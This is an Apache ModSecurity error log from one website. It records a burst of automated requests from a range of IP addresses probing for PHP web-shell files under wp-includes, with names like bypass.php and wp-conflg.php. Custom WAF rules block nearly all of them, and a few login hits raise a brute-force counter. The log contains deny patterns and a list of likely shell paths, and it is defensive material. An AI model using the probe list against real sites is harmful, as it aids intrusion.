[Wed Apr 15 06:15:16.694164 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.121:43727] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "ad68dK3iO9_fE_IQEMlE0AAAAQA"]
[Wed Apr 15 06:15:20.621001 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.180:65233] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "ad68eK3iO9_fE_IQEMlE2QAAAQY"]
[Wed Apr 15 06:15:32.802815 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.145:42783] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "ad68hB15U5D-N99n_jKK1wAAAM0"]
[Wed Apr 15 06:15:33.776114 2026] [:error] [pid 4065:tid 4077] [client 45.131.195.140:32747] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "ad68hQWArgJTHu2_6OzLjAAAAAE"]
[Wed Apr 15 06:15:38.319441 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.161:31351] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "ad68iq3iO9_fE_IQEMlE_gAAARI"]
[Wed Apr 15 06:15:39.375792 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.191:41189] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ad68i-5XHBJU8ZrRxZ1BhgAAAI8"]
[Wed Apr 15 06:15:43.021178 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.191:61583] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "ad68jx15U5D-N99n_jKK_AAAAMg"]
[Wed Apr 15 06:15:43.867290 2026] [:error] [pid 4067:tid 4136] [client 45.131.195.197:59559] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ms-file.php"] [unique_id "ad68j-5XHBJU8ZrRxZ1BlwAAAIU"]
[Wed Apr 15 06:15:44.892883 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.175:29161] [client 45.131.195.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.175, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "ad68kB15U5D-N99n_jKLCAAAAMA"]
[Wed Apr 15 06:15:44.896789 2026] [proxy_fcgi:error] [pid 4169:tid 4172] [client 45.131.195.175:29161] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:15:45.123987 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.175:29161] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/av.php"] [unique_id "ad68kR15U5D-N99n_jKLCQAAAM4"]
[Wed Apr 15 06:15:50.316962 2026] [:error] [pid 4067:tid 4135] [client 45.131.195.126:44713] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "ad68lu5XHBJU8ZrRxZ1BqQAAAIQ"]
[Wed Apr 15 06:15:51.287100 2026] [:error] [pid 4066:tid 4120] [client 45.131.195.190:31007] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "ad68l4C2YXfSPsC9O_BvmgAAAFA"]
[Wed Apr 15 06:16:00.748286 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.151:41701] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "ad68oK3iO9_fE_IQEMlFLAAAAQc"]
[Wed Apr 15 06:16:01.801176 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.164:35973] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/item.php"] [unique_id "ad68oYC2YXfSPsC9O_BvngAAAEI"]
[Wed Apr 15 06:16:04.731425 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.130:20501] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "ad68pB15U5D-N99n_jKLLwAAAMQ"]
[Wed Apr 15 06:16:05.718053 2026] [:error] [pid 4065:tid 4082] [client 45.131.195.204:41983] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/install.php"] [unique_id "ad68pQWArgJTHu2_6OzLowAAAAY"]
[Wed Apr 15 06:16:06.621890 2026] [proxy_fcgi:error] [pid 4065:tid 4098] [client 45.131.195.189:57979] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:16:06.842946 2026] [:error] [pid 4065:tid 4100] [client 45.131.195.189:57979] [client 45.131.195.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.189, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "ad68pgWArgJTHu2_6OzLpgAAABg"]
[Wed Apr 15 06:16:09.571300 2026] [:error] [pid 4065:tid 4076] [client 45.131.195.189:57979] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "ad68qQWArgJTHu2_6OzLqgAAAAA"]
[Wed Apr 15 06:16:13.563596 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.150:28683] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "ad68ra3iO9_fE_IQEMlFPgAAAQY"]
[Wed Apr 15 06:16:16.042547 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.129:63267] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/1.php"] [unique_id "ad68sB15U5D-N99n_jKLPAAAANM"]
[Wed Apr 15 06:16:18.629893 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.119:49263] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "ad68sq3iO9_fE_IQEMlFRwAAAQk"]
[Wed Apr 15 06:16:23.765000 2026] [:error] [pid 4065:tid 4095] [client 45.131.195.120:65409] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "ad68twWArgJTHu2_6OzLtgAAABM"]
[Wed Apr 15 06:16:27.463898 2026] [:error] [pid 4169:tid 4198] [client 45.131.195.124:36219] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "ad68ux15U5D-N99n_jKLRwAAANc"]
[Wed Apr 15 06:16:33.817459 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.150:22839] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "ad68wa3iO9_fE_IQEMlFcwAAAQQ"]
[Wed Apr 15 06:16:34.834378 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.190:31795] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/bypass.php"] [unique_id "ad68wq3iO9_fE_IQEMlFdgAAAQY"]
[Wed Apr 15 06:16:37.463973 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.130:65313] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/count.php"] [unique_id "ad68xa3iO9_fE_IQEMlFgAAAAQI"]
[Wed Apr 15 06:16:45.267445 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.250:65083] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "ad68zR15U5D-N99n_jKLbgAAAMc"]
[Wed Apr 15 06:16:49.433934 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.121:24663] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||www.rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "www.rcacivilgroup.com"] [uri "/images/stories/themes.php"] [unique_id "ad680YC2YXfSPsC9O_BwFgAAAEY"]
[Wed Apr 15 06:16:49.682475 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.121:24663] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "ad680YC2YXfSPsC9O_BwGQAAAEc"]
[Wed Apr 15 06:16:53.933823 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.136:36517] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "ad681a3iO9_fE_IQEMlFsgAAAQg"]
[Wed Apr 15 06:16:56.004860 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.141:37095] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/vars-soap.php"] [unique_id "ad682K3iO9_fE_IQEMlFtgAAAQQ"]
[Wed Apr 15 06:17:05.310069 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.171:27213] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "ad684e5XHBJU8ZrRxZ1CdAAAAI8"]
[Wed Apr 15 06:17:12.434826 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.140:50105] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "ad686K3iO9_fE_IQEMlF5gAAARM"]
[Wed Apr 15 06:17:15.085306 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.159:62951] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "ad68663iO9_fE_IQEMlF9AAAAQ0"]
[Wed Apr 15 06:17:22.859825 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.160:20613] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "ad688q3iO9_fE_IQEMlGEAAAAQQ"]
[Wed Apr 15 06:17:25.226814 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.131:62989] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/colour.php"] [unique_id "ad689a3iO9_fE_IQEMlGGAAAAQ0"]
[Wed Apr 15 06:17:27.863795 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.186:28837] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "ad689x15U5D-N99n_jKLsQAAANA"]
[Wed Apr 15 06:17:28.894013 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.126:46223] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "ad68-K3iO9_fE_IQEMlGIAAAARE"]
[Wed Apr 15 06:17:32.761546 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.250:52799] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "ad68_K3iO9_fE_IQEMlGMAAAAQU"]
[Wed Apr 15 06:17:37.142020 2026] [:error] [pid 4065:tid 4088] [client 45.131.195.197:64765] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "ad69AQWArgJTHu2_6OzMBAAAAAw"]
[Wed Apr 15 06:17:41.697932 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.141:32337] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/about5.php"] [unique_id "ad69Ba3iO9_fE_IQEMlGSAAAARM"]
[Wed Apr 15 06:17:52.035089 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.190:27799] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/db.php"] [unique_id "ad69EB15U5D-N99n_jKL1wAAANA"]
[Wed Apr 15 06:17:57.552980 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.204:46871] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "ad69FR15U5D-N99n_jKL4wAAAMM"]
[Wed Apr 15 06:18:03.170878 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.145:57815] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "ad69G63iO9_fE_IQEMlGhAAAARM"]
[Wed Apr 15 06:18:04.129387 2026] [:error] [pid 4065:tid 4088] [client 45.131.195.180:30157] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "ad69HAWArgJTHu2_6OzMGwAAAAw"]
[Wed Apr 15 06:18:04.984355 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.140:37531] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "ad69HO5XHBJU8ZrRxZ1C7QAAAI4"]
[Wed Apr 15 06:18:09.210331 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.139:33205] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "ad69Ie5XHBJU8ZrRxZ1C9AAAAIo"]
[Wed Apr 15 06:18:12.870408 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.129:35961] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "ad69JO5XHBJU8ZrRxZ1C_wAAAJA"]
[Wed Apr 15 06:18:13.919569 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.140:28829] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/about.php"] [unique_id "ad69JYC2YXfSPsC9O_BwZwAAAEI"]
[Wed Apr 15 06:18:16.584816 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.184:28613] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "ad69KK3iO9_fE_IQEMlGoQAAAQU"]
[Wed Apr 15 06:18:17.658641 2026] [:error] [pid 4065:tid 4086] [client 45.131.195.120:21083] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/simi.php"] [unique_id "ad69KQWArgJTHu2_6OzMIgAAAAo"]
